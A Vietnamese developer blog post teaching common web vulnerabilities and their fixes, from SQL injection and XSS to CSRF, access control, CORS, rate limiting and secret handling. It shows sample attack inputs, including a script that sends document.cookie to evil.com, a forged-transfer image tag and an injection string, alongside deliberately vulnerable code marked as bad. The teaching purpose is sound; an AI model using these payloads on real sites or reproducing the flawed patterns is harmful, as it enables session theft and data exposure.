blog.dopana

Back

Bảo mật không phải là tính năng — nó là trách nhiệm của mọi developer. Bạn không cần là chuyên gia security, nhưng cần biết những lỗ hổng phổ biến để không vô tình tạo ra chúng.

1. SQL Injection — Kẻ Thù Số 1#

-- Code dễ bị tấn công
"SELECT * FROM users WHERE email = '" + userInput + "'"

-- Attacker nhập: ' OR '1'='1
-- Thành: SELECT * FROM users WHERE email = '' OR '1'='1'
-- → Lấy toàn bộ user!
sql

Phòng Tránh#

// ❌ Tệ — nối chuỗi
const query = `SELECT * FROM users WHERE id = ${id}`;

// ✅ Tốt — parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
db.query(query, [id]);

// Dùng ORM
const user = await prisma.user.findUnique({ where: { id } });
typescript

Rule: Không bao giờ nối chuỗi SQL với input người dùng.

2. XSS (Cross-Site Scripting)#

Attacker chèn script độc hại vào trang web:

<!-- Input người dùng: --><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

<!-- Render ra: -->
<div>
  <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
</div>
html

Phòng Tránh#

// ✅ Sanitize input — loại bỏ thẻ HTML nguy hiểm
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(userInput);

// ✅ CSP (Content Security Policy)
// Header: Content-Security-Policy: script-src 'self'
// Chỉ cho chạy script từ cùng domain

// ✅ React/Astro tự động escape HTML
// <div>{userInput}</div> → React escape, không chạy script
typescript

Rule: Không tin tưởng bất kỳ input nào từ người dùng.

3. CSRF (Cross-Site Request Forgery)#

User đang đăng nhập ở bank.com. Attacker dụ user click link độc:

<img src="https://bank.com/transfer?amount=1000&to=attacker" />
html

Trình duyệt tự động gửi cookie — server tưởng user chủ động chuyển tiền.

Phòng Tránh#

// ✅ CSRF Token — gửi kèm mỗi form
app.use(csurf({ cookie: true }));

// ✅ SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict

// ✅ Kiểm tra Referer/Origin header
typescript

4. Xác Thực & Phân Quyền#

Lỗi Thường Gặp#

// ❌ Tệ — dùng ID từ URL không kiểm tra quyền
app.get('/api/order/:id', (req, res) => {
  const order = db.getOrder(req.params.id);
  res.json(order);
});
// User A có thể xem order của User B bằng cách đổi ID

// ✅ Tốt — kiểm tra ownership
app.get('/api/order/:id', authenticate, (req, res) => {
  const order = db.getOrder(req.params.id);
  if (order.userId !== req.user.id) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  res.json(order);
});
typescript

JWT Best Practices#

// Tạo token
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { expiresIn: '15m' } // Token ngắn hạn
);

// Refresh token (lưu trong DB/httpOnly cookie)
const refreshToken = crypto.randomUUID();
typescript

5. CORS — Không Phải Cứ Allow All Là Xong#

// ❌ Tệ — cho phép tất cả
app.use(cors({ origin: '*' }));

// ✅ Tốt — whitelist cụ thể
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  credentials: true,
}));
typescript

6. Rate Limiting — Chống Brute Force#

import rateLimit from 'express-rate-limit';

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 phút
  max: 100,                  // tối đa 100 request
  message: 'Too many requests',
});

app.use('/api/auth', limiter);
typescript

7. Dependency — Mắt Xích Yếu Nhất#

# Kiểm tra lỗ hổng
npm audit
pnpm audit
bun audit

# GitHub Dependabot — tự động tạo PR update
# Snyk — quét CI/CD pipeline
bash

npm ecosystem có hàng ngàn package — một package nhỏ bị compromise có thể ảnh hưởng toàn bộ hệ thống.

8. Environment Variables — Không Hardcode Secret#

# ❌ Tệ — commit secret vào git
DATABASE_PASSWORD = "supersecret123"

# ✅ Tốt — .env (thêm vào .gitignore!)
DATABASE_PASSWORD = ${DB_PASSWORD}
bash
// ❌ Tệ
const secret = 'sk-123456789';

// ✅ Tốt
const secret = process.env.API_KEY;
if (!secret) throw new Error('Missing API_KEY');
typescript

Checklist Bảo Mật Tối Thiểu#

  • Parameterized queries cho database
  • Validate & sanitize mọi input
  • HTTPS everywhere (HTTP Strict Transport Security)
  • Cookie có httpOnly, secure, sameSite
  • CORS whitelist cụ thể
  • Rate limiting cho endpoint auth
  • No hardcode secret
  • npm audit trong CI
  • Dependency update định kỳ
  • Logging & monitoring

Kết Luận#

Bảo mật là một quá trình, không phải đích đến. Không ai viết code an toàn 100% ngay từ đầu — nhưng biết các lỗ hổng phổ biến giúp bạn tránh được 90% rủi ro.

Tài liệu tham khảo#